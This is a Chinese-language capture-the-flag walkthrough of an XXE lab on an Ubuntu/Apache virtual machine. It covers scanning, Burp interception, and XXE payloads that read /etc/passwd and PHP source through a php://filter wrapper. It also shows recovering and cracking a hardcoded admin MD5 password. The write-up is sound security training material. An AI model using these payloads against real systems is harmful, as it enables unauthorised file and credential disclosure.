Apache2之Ubuntu-XXE漏洞渗透

一、配置靶场

第一步:打开kali,作为攻击机,打开是黑屏不要蒙圈,是正常的

第二步:配置局域网主机

探测局域网内的所有主机--

1、查看虚拟机的网络配置

2、查看到我的子网地址为192.168.189.0

第三步:使用御剑端口扫描工具(其他的也可以,换汤不换药)

1、查看192.168.189.1到192.168.189.255的80端口

2、查到这个ip和其他的不一样(突兀),就是它了

3、访问这个查到的ip地址,发现是web服务是apache

第四步:使用目录探测工具探测

192.168.189.151(我是用的WebRobot工具),我查到一颗响应码是200的链接

第五步:打开查到的链接,查到该链接下有两个目录

第六步:访问/xxe的目录(192.168.189.151/xxe),顺利打开靶场

二、解题

第一步:先随便输入,看到没反应

第二步:burpsuite抓包

看到了xml的代码,存在xxe漏洞

第三步:发送到repeater重放器,我们在前面看到是apache的服务,构造xxe语句指向/etc/passwd,看看有没有回显

复制代码
<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
&xxe;//把这个放在用户名那里

没有有用的东西

但是好消息是xxe语句有效果

第四步:接着查看其他目录

1、查看apache首页的默认目录/var/www/html/,发现还是错误

2、使用PHP协议查看php文件里面有啥

复制代码
<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">
]>
&xxe;//把这个放在用户名那里

查看到一堆乱码

复制进行base64解码,解码后是php文件的源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)

我查看代码里面没有和用户名和密码相关的

3、查看admin.php,base64解码查看php源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)

复制代码
<?php
   session_start();
?>
​
​
<html lang = "en">
   
   <head>
      <title>admin</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">
      
      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }
         
         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }
         
         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }
         
         .form-signin .checkbox {
            font-weight: normal;
         }
         
         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }
         
         .form-signin .form-control:focus {
            z-index: 2;
         }
         
         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }
         
         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }
         
         h2{
            text-align: center;
            color: #017572;
         }
      </style>
      
   </head>
    
   <body>
      
      <h2>Enter Username and Password</h2> 
      <div class = "container form-signin">
         
         <?php
            $msg = '';
            if (isset($_POST['login']) && !empty($_POST['username']) 
               && !empty($_POST['password'])) {
                
               if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                  $_SESSION['valid'] = true;
                  $_SESSION['timeout'] = time();
                  $_SESSION['username'] = 'administhebest';
                  
                echo "You have entered valid use name and password <br />";
        $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
        echo $flag;
               }else {
                  $msg = 'Maybe Later';
               }
            }
         ?>
      </div> <!-- W00t/W00t -->
      
      <div class = "container">
      
         <form class = "form-signin" role = "form" 
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); 
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control" 
               name = "username" 
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit" 
               name = "login">Login</button>
         </form>
            
         Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
         
      </div> 
      
   </body>
</html>
​

看到用户名administhebest和加密后经过MD5加密的密码e6e061838856bf47e1de730719fb2609,将密码解码后为admin@123`

md5在线解密破解,md5解密加密 (cmd5.com)

第五步:访问admin.php,使用查到的用户名和密码登陆

第六步:看到了一个flag,点击,你会看到一个套娃

第七步:查看这个新的php文件,有些无语了吧,继续吧。

你可以选择按照上面的第四步查看的文件的步骤一步一步查看。也可以选择超近道,直接访问/xxe/flagmeout.php.

进去后你会看到,空空如也。。。。。

第八步:查看页面的源代码

终于找到你,还好我没放弃~

但是

查看到了flag??? in???不会又是编码吧???

第九步:解码flag后面括号里的东西

而且是base32编码。。。出来后还是?乱码??

第十步:再次解码

这次是base64解码。。。

第十一步:查看这个目录/etc/.flag.php

复制代码
<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
​
&xxe;//放到name后面

第十二步:复制,解码

我没想到能写到十二步。。。。。。

第十三步:复制,自己创建一个PHP文件放到自己的的localhost访问

我创建的是localhost.222.php,访问后看到flag的内容

相关推荐
北京盛世宏博16 小时前
以太网温湿度传感器/变送器选型指南:从需求到落地的全流程决策框架
网络·以太网·poe·温湿度·供电
_dindong16 小时前
Linux网络编程:结合内核数据结构详谈epoll的工作原理
linux·服务器·网络
network_tester16 小时前
IXIA XM2网络测试仪电源模块损坏维修方法详解
网络·网络协议·tcp/ip·http·https·信息与通信·信号处理
buyutang_16 小时前
Linux网络编程:Socket套接字编程概念及常用API接口介绍
linux·服务器·网络·tcp/ip
小小哭包16 小时前
Nginx配置文件nginx.conf中文详解
运维·nginx
weixin_4316972016 小时前
onlyoffice预览nginx代理的静态文件
运维·nginx
杨云龙UP17 小时前
从0搭建Oracle ODA NFS异地备份:从YUM源到RMAN定时任务的全流程
linux·运维·数据库·oracle
DN金猿17 小时前
恢复 Linux 上误删除的文件
linux·运维·服务器
番茄啊17 小时前
使用QNetworkProxy类简化网络应用的代理支持
网络
张3蜂17 小时前
跨站请求伪造(CSRF):原理、攻击与防御全解析
网络·安全·csrf